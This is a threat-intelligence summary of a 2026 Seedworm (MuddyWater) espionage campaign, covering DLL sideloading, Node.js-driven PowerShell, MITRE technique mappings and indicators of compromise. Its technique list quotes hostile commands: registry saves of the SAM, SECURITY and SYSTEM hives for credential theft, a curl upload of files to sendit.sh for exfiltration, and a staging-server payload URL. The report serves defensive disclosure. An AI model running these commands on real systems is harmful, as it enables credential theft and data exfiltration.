Seedworm: Iran-Linked Hackers Breached Korean Electronics Maker in Global Spying Campaign

Seedworm: Iran-Linked Hackers Breached Korean Electronics Maker in Global Spying Campaign
Seedworm targeted at least nine organizations across four continents in early 2026, using signed DLL sideloading, Node.js-orchestrated PowerShell, and multiple credential theft tools to support espionage operations. The campaign also used public services and staging infrastructure such as sendit[.]sh and timetrakr[.]cloud while repeatedly focusing on intelligence-rich victims including a South Korean electronics manufacturer, government agencies, and financial and educational institutions. #Seedworm #MuddyWater #SentinelOne #Fortemedia #senditsh #timetrakrcloud

Keypoints

  • Seedworm, also known as MuddyWater, Temp Zagros, and Static Kitten, ran a broad espionage campaign in Q1 2026.
  • At least nine organizations in nine countries across four continents were affected, spanning industry, public sector, finance, and education.
  • The attackers abused legitimately signed Fortemedia fmapp.exe and SentinelOne sentinelmemoryscanner.exe binaries for DLL sideloading.
  • Node.exe appeared to orchestrate the activity, including PowerShell execution, reconnaissance, screenshot capture, and payload delivery.
  • The operators used multiple credential theft and privilege escalation tools, including SAM hive theft and a TGT extraction technique.
  • Stolen data was staged and exfiltrated through public services such as sendit[.]sh instead of fully dedicated infrastructure.
  • The campaign showed a more disciplined tradecraft pattern, mixing persistent beaconing, redundant tooling, and consumer cloud-like services.

MITRE Techniques

  • [T1574.002] Hijack Execution Flow: DLL Side-Loading – Legitimately signed executables were used to load malicious DLLs and run attacker code (‘abused to sideload a malicious DLL’).
  • [T1059.001] Command and Scripting Interpreter: PowerShell – PowerShell was used for reconnaissance, screenshot capture, payload retrieval, and repeated host checks (‘PowerShell-based reconnaissance commands’).
  • [T1059.006] Command and Scripting Interpreter: JavaScript – Node.js scripts orchestrated multiple stages of the intrusion and drove the loader chain (‘suggesting that the sideloading was orchestrated by a Node.js script’).
  • [T1027] Obfuscated Files or Information – Encoded blobs and randomly named directories were used to stage payloads and hide activity (‘a.dat is believed to be an encoded payload’).
  • [T1119] Automated Collection – A script appears to have captured screenshots from the victim host (‘appears to have captured a screenshot of the user’s primary display’).
  • [T1082] System Information Discovery – The attackers enumerated host details, users, groups, and network settings (‘whoami /all’, ‘hostname’, ‘ipconfig /all’).
  • [T1087.002] Account Discovery: Domain Account – Domain users and groups were enumerated to map the environment (‘net user /domain’, ‘net group [REMOVED] /domain’).
  • [T1518.001] Software Discovery: Security Software Discovery – WMI was used to identify installed antivirus products (‘enumerate antivirus products registered with the Security Center’).
  • [T1110] Brute Force – Not observed directly; credential acquisition was instead performed through prompts and hive theft, so no direct brute-force use is supported.
  • [T1003.004] OS Credential Dumping: LSA Secrets – The attackers saved SECURITY and SYSTEM hives to extract cached secrets and credentials (‘reg save hklmsecurity …’, ‘reg save hklmsystem …’).
  • [T1003.002] OS Credential Dumping: Security Account Manager – The SAM hive was saved for offline hash extraction (‘reg save hklmsam C:WindowsTempsam.save’).
  • [T1003.001] OS Credential Dumping: LSASS Memory – The activity aimed to obtain elevated credentials and likely reach LSASS (‘seeking SYSTEM privileges in order to reach LSASS’).
  • [T1056.002] Input Capture: GUI Input Capture – A credential harvester invoked the Windows credentials prompt to capture entered passwords (‘calls CredUIPromptForWindowsCredentialsW’).
  • [T1068] Exploitation for Privilege Escalation – A dedicated tool attempted privilege escalation by abusing Kerberos/GSS-API delegation (‘automates Kerberos Ticket Granting Ticket extraction’).
  • [T1550.003] Use Alternate Authentication Material: Pass the Ticket – A TGT was extracted from a high-privilege user for later use (‘obtain a usable TGT from a high-privilege user’).
  • [T1090.001] Proxy: Internal Proxy – SOCKS5 reverse-proxy tunnelling was used to relay traffic through the victim host (‘SOCKS5 reverse-proxy tunnelling’).
  • [T1219] Remote Access Software – The attackers relied on public file-transfer and staging services to move data (‘staged stolen data through sendit[.]sh’).
  • [T1041] Exfiltration Over C2 Channel – Stolen data was transferred out via HTTPS to a public file-transfer service (‘curl.exe -F “file=@C:WindowsTemp” https://sendit.sh’).
  • [T1105] Ingress Tool Transfer – Additional scripts and payloads were downloaded from attacker-controlled infrastructure (‘pulling a PowerShell payload from an attacker-controlled staging server’).

Indicators of Compromise

  • [File hashes] Malicious binaries and tools used for sideloading, credential theft, and privilege escalation – e25892603c42e34bd7ba0d8ea73be600d898cadc290e3417a82c04d6281b743b, c6182fd01b14d84723e3c9d11bc0e16b34de6607ccb8334fc9bb97c1b44f0cde, and other 6 hashes
  • [IP addresses] Attacker staging servers and related network infrastructure – 179.43.177[.]220, 178.128.233[.]36, and other 4 IPs
  • [Domains] Attacker-controlled or abused services used for staging and exfiltration – timetrakr[.]cloud, sendit[.]sh, and svc.wompworthy[.]com
  • [URLs] Payload and reconnaissance endpoints contacted by the implant – http://179.43.177[.]220:8080/nm.ps1, http://ipinfo[.]io/json, and other 3 URLs
  • [File names] Dropped and sideloaded components used in the intrusion – fmapp.exe, fmapp.dll, sentinelmemoryscanner.exe, and sentinelagentcore.dll


Read more: https://www.security.com/threat-intelligence/iran-seedworm-electronics